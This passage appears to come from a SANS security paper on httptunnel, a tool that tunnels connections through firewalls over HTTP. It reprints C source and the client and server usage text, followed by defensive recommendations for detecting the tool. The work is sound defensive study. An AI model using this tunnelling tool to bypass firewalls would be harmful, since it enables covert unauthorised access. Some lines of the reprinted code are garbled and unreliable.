    log_error ("tunnel_read: received error: %s", tunnel->buf);
    errno = EIO;
    return -1;

case TUNNEL_CLOSE:
    return 0;

case TUNNEL_DISCONNECT:
    tunnel_in_disconnect (tunnel);

    if (tunnel_is_client (tunnel)
        && tunnel_in_connect (tunnel) == -1)
        return -1;
}
```

```
    errno = EAGAIN;
    return -1;

    default:
        log_error ("tunnel_read: protocol error: unknown request
0x%02x", req);
        errno = EINVAL;
        return -1;
    }

    errno = EAGAIN;
    return -1;
}

int
tunnel_pollin_fd (Tunnel *tunnel)
{
    if (tunnel_is_server (tunnel) &&
        (tunnel->in_fd == -1 || tunnel->out_fd == -1))
    {
        if (tunnel->in_fd == -1)
            log_verbose ("tunnel_pollin_fd: in_fd = -1; returning
server_socket = %d",
                tunnel->server_socket);
        else
            log_verbose ("tunnel_pollin_fd: out_fd = -1; returning
server_socket = %d",
                tunnel->server_socket);
        return tunnel->server_socket;
    }
    else if (tunnel->in_fd != -1)
        return tunnel->in_fd;
    else
    {
        log_error ("tunnel_pollin_fd: returning -1");
        return -1;
    }
}

/*
If the write connection is up and needs padding to the block length
specified in the second argument, send some padding.
*/

int
tunnel_maybe_pad (Tunnel *tunnel, size_t length)
{
    size_t padding;

    if (tunnel_is_disconnected (tunnel) ||
        tunnel->bytes % length == 0 ||
        tunnel->padding_only)
        return 0;

    padding = length - tunnel->bytes % length;
    if (padding > tunnel->content_length - tunnel->bytes)
        padding = tunnel->content_length - tunnel->bytes;
```

```
    return tunnel_padding (tunnel, padding);
}

#if 0
ssize_t
old_parse_header (int s, int *type)
{
    static const char *end_of_header = "\r\n\r\n";
    ssize_t n, len = 0;
    char c;
    int i;

    *type = -1;

    n = read_all (s, &c, 1);
    if (n != 1)
        return -1;
    len += n;

    if (c == 'P')
        *type = TUNNEL_IN;
    else if (c == 'G')
        *type = TUNNEL_OUT;
    else
    {
        log_error ("parse_header: unknown HTTP request starting with
'%c'", c);
        errno = EINVAL;
        return -1;
    }

    i = 0;
    while (i < 4)
    {
        n = read_all (s, &c, 1);
        if (n != 1 && errno != EAGAIN)
            return n;
        len += n;

        if (c == end_of_header[i])
            i++;
        else
            i = 0;
    }

    return len;
}
#endif

int
tunnel_accept (Tunnel *tunnel)
{
    if (tunnel->in_fd != -1 && tunnel->out_fd != -1)
    {
        log_debug ("tunnel_accept: tunnel already established");
        return 0;
    }
}
```

```
while (tunnel->in_fd == -1 || tunnel->out_fd == -1)
{
    struct sockaddr_in addr;
    Http_request *request;
    struct pollfd p;
    ssize_t m;
    int len;
    int n;
    int s;

    p.fd = tunnel->server_socket;
    p.events = POLLIN;
    n = poll (&p, 1, (tunnel->in_fd != -1 || tunnel->out_fd != -1 ?
        ACCEPT_TIMEOUT * 1000 : -1));
    if (n == -1)
    {
        log_error ("tunnel_accept: poll error: %s", strerror
(errno));
        return -1;
    }
    else if (n == 0)
    {
        log_error ("tunnel_accept: poll timed out");
        break;
    }

    len = sizeof addr;
    s = accept (tunnel->server_socket, (struct sockaddr *)&addr,
&len);
    if (s == -1)
    {
        log_error ("tunnel_accept: accept error: %s", strerror
(errno));
        return -1;
    }

    m = http_parse_request (s, &request);
    if (m <= 0)
        return m;

    if (request->method == -1)
    {
        log_error ("tunnel_accept: error parsing header: %s",
        strerror (errno));
        close (s);
    }
    else if (request->method == HTTP_POST ||
        request->method == HTTP_PUT)
    {
        if (tunnel->in_fd == -1)
        {
            tunnel->in_fd = s;
        }
    }

#ifdef IO_COUNT_HTTP_HEADER
    tunnel->in_total_raw += m; /* from parse_header() */
    log_annoing ("tunnel_accept: in_total_raw = %u",
        tunnel->in_total_raw);
#endif
#endif
```

```

        fcntl (tunnel->in_fd,
              F_SETFL,
              fcntl (tunnel->in_fd, F_GETFL) | O_NONBLOCK);

        tunnel_in_setsockopt (tunnel->in_fd);

        log_debug ("tunnel_accept: input connected");
    }
    else
    {
        log_error ("rejected tunnel_in: already got a
connection");
        close (s);
    }
}
else if (request->method == HTTP_GET)
{
    if (tunnel->out_fd == -1)
    {
        char str[1024];

        tunnel->out_fd = s;

        tunnel_out_setsockopt (tunnel->out_fd);

        sprintf (str,
"HTTP/1.1 200 OK\r\n"
/* "Date: %s\r\n" */
/* "Server: %s\r\n" */
/* "Last-Modified: %s\r\n" */
/* "ETag: %s\r\n" */
/* "Accept-Ranges: %s\r\n" */
"Content-Length: %d\r\n"
"Connection: close\r\n"
"Pragma: no-cache\r\n"
"Cache-Control: no-cache, no-store, must-revalidate\r\n"
"Expires: 0\r\n" /* FIXME: "0" is not a legitimate HTTP date. */
"Content-Type: text/html\r\n"
"\r\n",

/* +1 to allow for TUNNEL_DISCONNECT */
        tunnel->content_length + 1);
        if (write_all (tunnel->out_fd, str, strlen (str)) <= 0)
        {
            log_error ("tunnel_accept: couldn't write GET header:
%s",
                strerror (errno));
            close (tunnel->out_fd);
            tunnel->out_fd = -1;
        }
        else
        {
            tunnel->bytes = 0;
            tunnel->buf_len = 0;
            tunnel->buf_ptr = tunnel->buf;
#ifdef IO_COUNT_HTTP_HEADER
            tunnel->out_total_raw += strlen (str);
            log_annoying ("tunnel_accept: out_total_raw = %u",

```

```
        tunnel->out_total_raw);
#endif
        log_debug ("tunnel_accept: output connected");
    }
}
else
{
    log_error ("tunnel_accept: rejected tunnel_out: "
              "already got a connection");
    close (s);
}
}
else
{
    log_error ("tunnel_accept: unknown header type");
    log_debug ("tunnel_accept: closing connection");
    close (s);
}

http_destroy_request (request);
}

if (tunnel->in_fd == -1 || tunnel->out_fd == -1)
{
    log_error ("tunnel_accept: in_fd = %d, out_fd = %d",
              tunnel->in_fd, tunnel->out_fd);

    if (tunnel->in_fd != -1)
        close (tunnel->in_fd);
    tunnel->in_fd = -1;
    log_debug ("tunnel_accept: input disconnected");

    tunnel_out_disconnect (tunnel);

    return -1;
}

return 0;
}

Tunnel *
tunnel_new_server (int port, size_t content_length)
{
    Tunnel *tunnel;

    tunnel = malloc (sizeof (Tunnel));
    if (tunnel == NULL)
        return NULL;

    /* If content_length is 0, a value must be determined
    automatically. */
    /* For now, a default value will do. */
    if (content_length == 0)
        content_length = DEFAULT_CONTENT_LENGTH;

    tunnel->in_fd = -1;
    tunnel->out_fd = -1;
    tunnel->server_socket = -1;
}
```



```
tunnel->dest.host_name = NULL;
tunnel->dest.host_port = port;
tunnel->buf_ptr = tunnel->buf;
tunnel->buf_len = 0;
/* -1 to allow for TUNNEL_DISCONNECT */
tunnel->content_length = content_length - 1;
tunnel->in_total_raw = 0;
tunnel->in_total_data = 0;
tunnel->out_total_raw = 0;
tunnel->out_total_data = 0;
tunnel->strict_content_length = FALSE;

tunnel->server_socket = server_socket (tunnel->dest.host_port, 1);
if (tunnel->server_socket == -1)
{
    log_error ("tunnel_new_server: server_socket (%d) = -1",
              tunnel->dest.host_port);
    tunnel_destroy (tunnel);
    return NULL;
}

return tunnel;
}

Tunnel *
tunnel_new_client (const char *host, int host_port,
                  const char *proxy, int proxy_port,
                  size_t content_length)
{
    const char *remote;
    int remote_port;
    Tunnel *tunnel;

    log_verbose ("tunnel_new_client (%s", %d, %s", %d, %d)",
                host, host_port, proxy ? proxy : "(null)", proxy_port,
                content_length);

    tunnel = malloc (sizeof (Tunnel));
    if (tunnel == NULL)
    {
        log_error ("tunnel_new_client: out of memory");
        return NULL;
    }

    tunnel->in_fd = -1;
    tunnel->out_fd = -1;
    tunnel->server_socket = -1;
    tunnel->dest.host_name = host;
    tunnel->dest.host_port = host_port;
    tunnel->dest.proxy_name = proxy;
    tunnel->dest.proxy_port = proxy_port;
    tunnel->dest.proxy_authorization = NULL;
    tunnel->dest.user_agent = NULL;
    /* -1 to allow for TUNNEL_DISCONNECT */
    tunnel->content_length = content_length - 1;
    tunnel->buf_ptr = tunnel->buf;
    tunnel->buf_len = 0;
    tunnel->in_total_raw = 0;
```

```
tunnel->in_total_data = 0;
tunnel->out_total_raw = 0;
tunnel->out_total_data = 0;
tunnel->strict_content_length = FALSE;

if (tunnel->dest.proxy_name == NULL)
{
    remote = tunnel->dest.host_name;
    remote_port = tunnel->dest.host_port;
}
else
{
    remote = tunnel->dest.proxy_name;
    remote_port = tunnel->dest.proxy_port;
}

if (set_address (&tunnel->address, remote, remote_port) == -1)
{
    log_error ("tunnel_new_client: set_address: %s", strerror
(errno));
    free (tunnel);
    return NULL;
}

return tunnel;
}

void
tunnel_destroy (Tunnel *tunnel)
{
    if (tunnel_is_connected (tunnel) || tunnel->in_fd != -1)
        tunnel_close (tunnel);

    if (tunnel->server_socket != -1)
        close (tunnel->server_socket);

    free (tunnel);
}

static int
tunnel_opt (Tunnel *tunnel, const char *opt, void *data, int
get_flag)
{
    if (strcmp (opt, "strict_content_length") == 0)
    {
        if (get_flag)
            *(int *)data = tunnel->strict_content_length;
        else
            tunnel->strict_content_length = *(int *)data;
    }
    else if (strcmp (opt, "keep_alive") == 0)
    {
        if (get_flag)
            *(int *)data = tunnel->keep_alive;
        else
            tunnel->keep_alive = *(int *)data;
    }
    else if (strcmp (opt, "max_connection_age") == 0)
```

```
{
    if (get_flag)
        *(int *)data = tunnel->max_connection_age;
    else
        tunnel->max_connection_age = *(int *)data;
}
else if (strcmp (opt, "proxy_authorization") == 0)
{
    if (get_flag)
    {
        if (tunnel->dest.proxy_authorization == NULL)
            *(char **)data = NULL;
        else
            *(char **)data = strdup (tunnel->dest.proxy_authorization);
    }
    else
    {
        if (tunnel->dest.proxy_authorization != NULL)
            free ((char *)tunnel->dest.proxy_authorization);
        tunnel->dest.proxy_authorization = strdup ((char *)data);
        if (tunnel->dest.proxy_authorization == NULL)
            return -1;
    }
}
else if (strcmp (opt, "user_agent") == 0)
{
    if (get_flag)
    {
        if (tunnel->dest.user_agent == NULL)
            *(char **)data = NULL;
        else
            *(char **)data = strdup (tunnel->dest.user_agent);
    }
    else
    {
        if (tunnel->dest.user_agent != NULL)
            free ((char *)tunnel->dest.user_agent);
        tunnel->dest.user_agent = strdup ((char *)data);
        if (tunnel->dest.user_agent == NULL)
            return -1;
    }
}
else
{
    errno = EINVAL;
    return -1;
}

return 0;
}

int
tunnel_setopt (Tunnel *tunnel, const char *opt, void *data)
{
    return tunnel_opt (tunnel, opt, data, FALSE);
}

int
```

```
tunnel_getopt (Tunnel *tunnel, const char *opt, void *data)
{
    return tunnel_opt (tunnel, opt, data, TRUE);
}
```

## 8 Recommendations:

The utility can be configured to listen on any port, so a scan cannot be directed to look for a given port number. It is likely that an attacker will have the server component listen on a high port number. Also the types of services that can be run across the data tunnel connection are of a limited nature, typically something that permits a login prompt, such as telnet, rsh, rlogin or similar. The recommendations to follow are:

1. Ensure all servers are at the most current patch level to avoid exploits to allow root compromise.
2. Disable all unnecessary services on servers, use only secure login services such as SSH
3. Disable trust relationships with servers that can be accessed from firewalls, such as those in a Demilitarized Zone (DMZ)
4. Conduct regular scans of servers on the full port range (1 > 65535)
5. Review firewall logs for unusual web access patterns from systems that do not normally operate as a web client
6. Monitor for HTTP GET requests issuing from systems that do not provide web services

## 9 Resources and Links:

The help output for the components are included for reference purposes:

### Client (htc)

Usage: ./htc [OPTION]... HOST[:PORT]

Set up a httptunnel connection to PORT at HOST (default port is 8888).

When a connection is made, I/O is redirected from the source specified by the --device or --forward-port switch to the tunnel.

```
-A, --proxy-authorization USER:PASSWORD proxy authorization
--proxy-authorization-file FILE proxy authorization file
-B, --proxy-buffer-size BYTES assume a proxy buffer size of BYTES
bytes
                                (k, M, and G postfixes recognized)
-c, --content-length BYTES use HTTP PUT requests of BYTES size
                                (k, M, and G postfixes recognized)
-d, --device DEVICE use DEVICE for input and output
-F, --forward-port PORT use TCP port PORT for input and
output
```

```

-h, --help                display this help and exit
-k, --keep-alive SECONDS  send keepalive bytes every SECONDS
seconds                    (default is 5)
-M, --max-connection-age SEC maximum time a connection will stay
open is SEC seconds (default is 300)
-P, --proxy HOSTNAME[:PORT] use a HTTP proxy (default port is
8080)
-S, --strict-content-length always write Content-Length bytes in
requests
-T, --timeout TIME        timeout, in milliseconds, before
sending
-U, --user-agent STRING   padding to a buffering proxy
requests                  specify User-Agent value in HTTP
-V, --version             output version information and exit

```

### Server (hts)

```

Usage: ./hts [OPTION]... [PORT]
Listen for incoming httptunnel connections at PORT (default port is
8888).
When a connection is made, I/O is redirected to the destination
specified
by the --device or --forward-port switch.

```

```

-c, --content-length BYTES  use HTTP PUT requests of BYTES size
                             (k, M, and G postfixes recognized)
-d, --device DEVICE         use DEVICE for input and output
-F, --forward-port HOST:PORT connect to PORT at HOST and use it
for
                             input and output
-h, --help                  display this help and exit
-k, --keep-alive SECONDS    send keepalive bytes every SECONDS
seconds                      (default is 5)
-M, --max-connection-age SEC maximum time a connection will stay
open is SEC seconds (default is 300)
-S, --strict-content-length always write Content-Length bytes in
requests
-V, --version               output version information and exit
-p, --pid-file LOCATION     write a PID file to LOCATION

```

### Tunnel.h code (Program Interface)

```

/*
tunnel.h

Copyright (C) 1999 Lars Brinkhoff.  See COPYING for terms and
conditions.
*/

/*
This is the programming interface to the HTTP tunnel.  It consists
of the following functions:

Tunnel *tunnel_new_client (const char *host, int host_port,
                           const char *proxy, int proxy_port,

```

```
        size_t content_length);

    Create a new HTTP tunnel client.

Tunnel *tunnel_new_server (int port,
                          size_t content_length);

    Create a new HTTP tunnel server.  If LENGTH is 0, the Content-
Length
    of the HTTP GET response will be determined automatically in some
way.

int tunnel_connect (Tunnel *tunnel);

    Open the tunnel.  (Client only.)

int tunnel_accept (Tunnel *tunnel);

    Accept a tunnel connection.  (Server only.)

int tunnel_pollin_fd (Tunnel *tunnel);

    Return a file descriptor that can be used to poll for input from
the tunnel.

ssize_t tunnel_read (Tunnel *tunnel, void *data, size_t length);
ssize_t tunnel_write (Tunnel *tunnel, void *data, size_t length);

    Read or write to the tunnel.  Same semantics as with read() and
write().  Watch out for return values less than LENGTH.

int tunnel_padding (Tunnel *tunnel, size_t length);

    Send LENGTH pad bytes.

int tunnel_maybe_pad (Tunnel *tunnel, size_t length);

    Pad to nearest even multiple of LENGTH.

int tunnel_close (Tunnel *tunnel);

    Close the tunnel.

void tunnel_destroy (Tunnel *tunnel);
*/

#ifdef TUNNEL_H
#define TUNNEL_H

#include "config.h"
#include <sys/types.h>

#define DEFAULT_CONNECTION_MAX_TIME 300

typedef struct tunnel Tunnel;

extern Tunnel *tunnel_new_client (const char *host, int host_port,
                                const char *proxy, int proxy_port,
```

```
        size_t content_length);
extern Tunnel *tunnel_new_server (int port, size_t content_length);
extern int tunnel_connect (Tunnel *tunnel);
extern int tunnel_accept (Tunnel *tunnel);
extern int tunnel_pollin_fd (Tunnel *tunnel);
extern ssize_t tunnel_read (Tunnel *tunnel, void *data, size_t
length);
extern ssize_t tunnel_write (Tunnel *tunnel, void *data, size_t
length);
extern ssize_t tunnel_padding (Tunnel *tunnel, size_t length);
extern int tunnel_maybe_pad (Tunnel *tunnel, size_t length);
extern int tunnel_setopt (Tunnel *tunnel, const char *opt, void
*data);
extern int tunnel_getopt (Tunnel *tunnel, const char *opt, void
*data);
extern int tunnel_close (Tunnel *tunnel);
extern void tunnel_destroy (Tunnel *tunnel);

#endif /* TUNNEL_H */
```

### Links:

Exploit Source: <http://nocrew.org/software/httptunnel.html>

Mini HOWTO: <http://metalab.unc.edu/LDP/HOWTO/mini/Firewall-Piercing.html>

RFC 1945 HTTP/1.0:

<http://metalab.unc.edu/LDP/HOWTO/mini/Firewall-Piercing.html>

# Upcoming Training

Click Here to  
**{Get CERTIFIED!}**



Security Awareness Summit & Training 2017	Nashville, TN	Jul 31, 2017 - Aug 09, 2017	Live Event
SANS San Antonio 2017	San Antonio, TX	Aug 06, 2017 - Aug 11, 2017	Live Event
SANS Boston 2017	Boston, MA	Aug 07, 2017 - Aug 12, 2017	Live Event
SANS Salt Lake City 2017	Salt Lake City, UT	Aug 14, 2017 - Aug 19, 2017	Live Event
SANS New York City 2017	New York City, NY	Aug 14, 2017 - Aug 19, 2017	Live Event
SANS Adelaide 2017	Adelaide, Australia	Aug 21, 2017 - Aug 26, 2017	Live Event
SANS Virginia Beach 2017	Virginia Beach, VA	Aug 21, 2017 - Sep 01, 2017	Live Event
SANS Chicago 2017	Chicago, IL	Aug 21, 2017 - Aug 26, 2017	Live Event
Community SANS Memphis SEC504	Memphis, TN	Aug 21, 2017 - Aug 26, 2017	Community SANS
Mentor Session AW - SEC504	Milwaukee, WI	Aug 23, 2017 - Sep 29, 2017	Mentor
Mentor Session AW - SEC504	New York, NY	Aug 24, 2017 - Sep 08, 2017	Mentor
Mentor Session - SEC504	Denver, CO	Aug 29, 2017 - Oct 10, 2017	Mentor
SANS San Francisco Fall 2017	San Francisco, CA	Sep 05, 2017 - Sep 10, 2017	Live Event
SANS vLive - SEC504: Hacker Tools, Techniques, Exploits and Incident Handling	SEC504 - 201709,	Sep 05, 2017 - Oct 12, 2017	vLive
SANS Tampa - Clearwater 2017	Clearwater, FL	Sep 05, 2017 - Sep 10, 2017	Live Event
SANS Network Security 2017	Las Vegas, NV	Sep 10, 2017 - Sep 17, 2017	Live Event
SANS Dublin 2017	Dublin, Ireland	Sep 11, 2017 - Sep 16, 2017	Live Event
Mentor AW - SEC504	Santa Clara, CA	Sep 11, 2017 - Sep 22, 2017	Mentor
Mentor Session - SEC504	Arlington, VA	Sep 20, 2017 - Nov 01, 2017	Mentor
SANS Baltimore Fall 2017	Baltimore, MD	Sep 25, 2017 - Sep 30, 2017	Live Event
SANS London September 2017	London, United Kingdom	Sep 25, 2017 - Sep 30, 2017	Live Event
Rocky Mountain Fall 2017	Denver, CO	Sep 25, 2017 - Sep 30, 2017	Live Event
SANS SEC504 at Cyber Security Week 2017	The Hague, Netherlands	Sep 25, 2017 - Sep 30, 2017	Live Event
Community SANS Columbia SEC504	Columbia, MD	Sep 25, 2017 - Sep 30, 2017	Community SANS
Mentor Session - SEC504	Boston, MA	Sep 26, 2017 - Nov 07, 2017	Mentor
Mentor Session AW - SEC504	Houston, TX	Oct 02, 2017 - Dec 11, 2017	Mentor
SANS DFIR Prague 2017	Prague, Czech Republic	Oct 02, 2017 - Oct 08, 2017	Live Event
Mentor Session - SEC504	Columbia, SC	Oct 03, 2017 - Nov 14, 2017	Mentor
SANS Phoenix-Mesa 2017	Mesa, AZ	Oct 09, 2017 - Oct 14, 2017	Live Event
Community SANS Chicago SEC504	Chicago, IL	Oct 09, 2017 - Oct 14, 2017	Community SANS
SANS October Singapore 2017	Singapore, Singapore	Oct 09, 2017 - Oct 28, 2017	Live Event